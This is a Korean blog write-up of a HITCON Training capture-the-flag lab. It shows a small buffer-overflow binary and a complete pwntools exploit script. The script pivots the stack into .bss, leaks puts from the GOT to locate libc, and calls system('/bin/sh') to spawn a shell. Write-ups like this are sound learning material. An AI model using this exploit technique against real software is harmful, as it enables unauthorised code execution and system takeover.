이 문제는 고생을 많이 했다...

지금까지는 하루만에 다 풀 수 있었지만 이 문제는 2, 3일 걸린 것같다...ㅠ

처음에는 대체 어떻게 system주소를 알아내지.. 하다가 puts로 libc leak을 발생시킬 수 있다는걸... 알아버렸다!

+++

그걸로 이 문제는 끝나는 줄 알았지만 바이너리에서 read로 64만큼만 읽는 거를 간과하고 payload를 짰더니 삽질을 오지게 해버렸다. 주의하세요.. ㅠㅠ


migration.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
 
int count = 1337 ;
 
int main(){
        if(count != 1337)
                _exit(1);
        count++;
        char buf[40];
        setvbuf(stdout,0,2,0);
        puts("Try your best :");
        read(0,buf,64);
        return ;
}
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

보호기법 확인

해당 바이너리는 if문 count변수 체크를 통해서 main으로 다시 돌아오는 것을 막고있다. 

Stackpivot이라는 기술을 사용하여 exploit을 진행했다.


slv.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
 
= process('./migration')
= ELF('./migration')
 
dummy = 'a'* 0x28
 
# system_Addr = put_Addr - sys_offset_Addr
sys_offset_Addr = 0x24f30
# bin_Addr = put_Addr + bin_offset_Addr
bin_offset_Addr = 0xfb22c
 
read_plt = 0x8048380
read_got = 0x8049fe8
puts_plt = 0x8048390
puts_got = 0x8049ff0
leave_Addr = 0x8048504
popret_Addr = 0x08048586
 
bss = e.bss()
 
#e.get_section_by_name(".dynamic").header.sh_addr + 0x300
one_stack_Addr = bss + 0x200 
#e.get_section_by_name(".dynamic").header.sh_addr + 0x400
two_stack_Addr = bss + 0x300 
 
log.info('one_stack_Addr : ' + hex(one_stack_Addr))
log.info('two_stack_Addr : ' + hex(two_stack_Addr))
 
payload = ''
payload += dummy
# ebp = one_stack_Addr
payload += p32(one_stack_Addr)
# read(0x0, one_stack_Addr, 0x100)
payload += p32(read_plt)
# mov esp ebp로 esp pointer control
payload += p32(leave_Addr)
payload += p32(0x0)
payload += p32(one_stack_Addr)
payload += p32(0x100)
 
log.info('First payload sending')
p.recv()
p.send(payload)
 
payload = ''
# ebp = two_stack_Addr
payload += p32(two_stack_Addr)
# puts argument로 puts_got를 넣어서 puts_Addr leak
# puts(&puts_got)
payload += p32(puts_plt)
payload += p32(popret_Addr)
payload += p32(puts_got)
 
# read(0x0, two_stack_Addr, 0x100)
payload += p32(read_plt)
# mov esp ebp로 esp pointer control
payload += p32(leave_Addr)
payload += p32(0x0)
payload += p32(two_stack_Addr)
payload += p32(0x100)
log.info('Second payload sending')
 
sleep(0.1)
p.send(payload)
sleep(0.1)
# puts함수에서 leak된 puts_Addr parsing
put_Addr = u32(p.recv(4)[0:])
 
log.info('put_Addr : ' + hex(put_Addr))
 
# parsing된 puts_Addr로 system_Addr, bin_Addr 구하기
system_Addr = put_Addr - sys_offset_Addr
bin_Addr = put_Addr + bin_offset_Addr
log.info('system_Addr : ' + hex(system_Addr))
log.info('bin_Addr : ' + hex(bin_Addr))
 
payload = ''
# pop ebp
payload += 'AAAA'
# system("/bin/sh")
payload += p32(system_Addr)
payload += 'AAAA'
payload += p32(bin_Addr)
 
p.send(payload)
p.interactive()
 
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter

Exploit Flow

 

1. one_stack을 하나 만들어서 read로 input을 받는다.

2. puts에 puts_got주소를 넣어서 libc leak을 진행한다.

3. libc leak된 문자열을 파싱하여 system 함수, '/bin/sh' 문자열 주소를 계산한다.

4. two_stack에 system("/bin/sh")을 넣는다.

5. two_stack으로 RET!

6. exploit


많은 과정이 생략되었는데 

 

첫번째로 stack을 lab5때처럼 하나만 만들어도 되는 줄 알았지만 처음 main에서 64만큼만 읽기때문에 payload길이가 너무 길어서 어쩔 수 없이 stack을 두개를 만들어야 됬다. (이거 때문에 진짜 삽질 오지게... ㅠㅠ)

 

두번째로 recvuntil할때 바이너리에서 개행을 하면 무조건 '\n'포함해야 된다... 꼭!!

 

마지막으로 44번째줄에 send대신에 sendline을 넣었었는데 p.recv()할때 오류가 났다. 왜그럴까..?

'System > Hitcon training' 카테고리의 다른 글

190421-lab8  (0) 2019.04.21
190421-lab7  (0) 2019.04.21
190403-lab5  (0) 2019.04.03
190403-lab4  (0) 2019.04.03
190403-lab3  (0) 2019.04.03

+ Recent posts